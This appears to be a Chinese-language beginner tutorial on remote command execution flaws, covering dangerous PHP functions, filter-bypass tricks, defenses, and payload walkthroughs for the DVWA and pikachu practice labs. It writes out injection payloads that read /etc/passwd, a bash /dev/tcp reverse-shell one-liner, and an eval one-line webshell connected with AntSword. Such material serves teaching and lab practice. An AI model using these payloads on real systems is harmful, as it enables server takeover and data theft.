命令执行漏洞(Remote Command Execution, RCE)是指攻击者通过注入恶意命令,让目标服务器执行任意系统命令,从而控制服务器或获取敏感信息。
一、RCE 攻击的原理
RCE 漏洞的本质是:
服务器后端程序将用户输入的不可信数据拼接或传递给系统函数(如
system()
、exec()
、popen()
等)并执行。
Web 应用有时需要调⽤⼀些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web 应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输⼊的数据,就很有可能形成系统命令执行漏洞,使系统执行非预期的命令。
二、常见触发函数(以 PHP 为例)
|
|
---|---|
system() |
|
exec() |
|
shell_exec() |
|
passthru() |
|
popen()
proc_open() |
|
backticks (`ls`) |
|
其他语言也有类似函数,例如:
-
Python :、 os.system()
subprocess.*
-
Java : Runtime.getRuntime().exec()
三、攻击方式分类
1. 直接命令注入
示例代码(PHP):
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
利用方式:
http://example.com/vuln.php?cmd=ls
2. 命令拼接
如果用户输入被拼接到命令中:
$ip = $_GET['ip'];
system("ping " . $ip);
攻击者输入:
127.0.0.1; cat /flag
执行命令:
ping 127.0.0.1; cat /flag
四、常用绕过技术(过滤/黑名单绕过)
-
空格绕过:
-
使用 ${IFS}
$IFS
t
n
-
如: ping${IFS}127.0.0.1
-
字符编码绕过:
-
URL 编码、Unicode 编码等 -
命令替代:
-
$(command)
、`command`
-
利用 shell 特性:如 、、、 |
&&
||
;
-
双重编码或截断:
-
%2520
解码两次为 (空格)%20
-
环境变量与别名替代:
-
使用 之类的路径直接执行 /bin/sh
-
使用环境变量绕过路径限制
五、利用目的
-
查看敏感文件(如 、) /etc/passwd
/flag
-
反弹 Shell ( bash -i >& /dev/tcp/IP/PORT 0>&1
) -
安装木马、远控 -
横向移动或提权
六、防御措施
-
永远不要信任用户输入 -
对参数进行白名单校验 -
避免使用系统命令,使用语言自带功能替代 -
最小权限原则:Web 服务用户权限最小化 -
使用 WAF 检测异常请求
DVWA 靶场的 Command Injection(命令注入)模块。
low级别
1.先从Low级别开始,low级别的代码接收了用户输⼊的ip,服务器通过判断操作系统执行不同 ping 命令。但是这⾥对⽤户输⼊的 ip 并没有进行任何的过滤,所以存在可利⽤的命令执行漏洞。
漏洞点分析
代码关键部分:
$target = $_REQUEST[ 'ip' ];
...
$cmd = shell_exec( 'ping -c 4 ' . $target );
-
用户可控参数 被直接拼接到 shell 命令中,然后传给 函数。 $target
shell_exec()
-
没有任何过滤或验证。 -
攻击者可构造输入,如:,让系统执行多个命令。 127.0.0.1; cat /etc/passwd
利用方式示例
⽤&&来执行多条命令,构造 payload(有效载荷):
127.0.0.1&&net user
-
&&是 shell 运算符,表示前一个命令成功时才执行后一个命令。 -
127.0.0.1 是合法的 IP,会使 ping 正常执行。 -
net user 是 Windows 命令,列出系统所有用户。 如果执行环境是 Windows,会泄露当前系统的用户名信息。 如果是Linux,net user 会报错,但可以用 && cat /etc/passwd 等命令替代。
出现中文乱码的现象,我们先修改一下靶机的语言配置
方法一:
-
按住win+r,在运行框中输入cmd弹出命令行,在命令行中输入“control intl.cpl” -
我们将它改成英语并重新启动即可(重启后记得打开PHP和MySQL服务)
重新输入发现没有中文乱码
127.0.0.1 & ipconfig
方法二
把 DVWAdvwaincludes ⽬录下的 dvwaPage.inc.php ⽂件中所有的“charset=utf-8”,全部替换修改为“charset=gb2312”即可
medium级别
看一下源代码,发现&&和;被过滤掉了
不用&&,直接用&就可以!&&和&的区别在于 &&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。
构造 poyload: 127.0.0.1 & ipconfig
high级别
查看一下源代码,发现相⽐于前⾯两个等级的,high 等级的⿊名单更完善了,但是由于只是过滤掉了 “| ” ,如果⽤ | 后不跟空格就可以绕过过滤
127.0.0.1|net user
pikachu 靶场的 Command Injection(命令注入)模块。
exec ping关卡
pikachu 靶场同样提供了测试域名/IP 的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:
先看一下源代码,没有发现被过滤的命令
查看一下ip:
127.0.0.1 & ipconfig
我们可以执行其他命令了,在很多时候打靶场我们都会利用rce来反弹监听。在知道了系统命令可以连接执行后,如果 Web 应用程序没有过滤好输入,就变得相当危险。常用的命令连接符:
Windows 和 Linux 都支持的连接符:
A|B 只执行 B
A||B 如果 A 执行出错,则执行 B,如果A执行成功就不执行B
A&B 先执行 A,不管是否成功,都会执行 B
A&&B 先执行 A,执行成功后执行 B,否则不执行B
A;B 先执行 A,再执行B(只有Linux⽀持的连接符)
A|B
A||B
A&B
A&&B
exec "eval"代码执行漏洞关卡
代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
以pikachu为例
输⼊ phpinfo();(注意要带上分号)
发现直接执行了我们输入的代码。我们看一下源代码,查看代码发现是 eval()函数执行了我们的提交参数。
既然能执行eval(),那我们可以利用蚁剑构造一句话木马连接
$_POST['txt']
用蚁剑添加body表单字段,这里要注意的是编码器和解析器都选择base64,否则连接返回的数据为空
成功利用远程代码漏洞进入对方主机,如果需要提权,可以利用蚁剑连接的前提反弹监听,进一步进行渗透
原文始发于微信公众号(Cauchy网安):一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论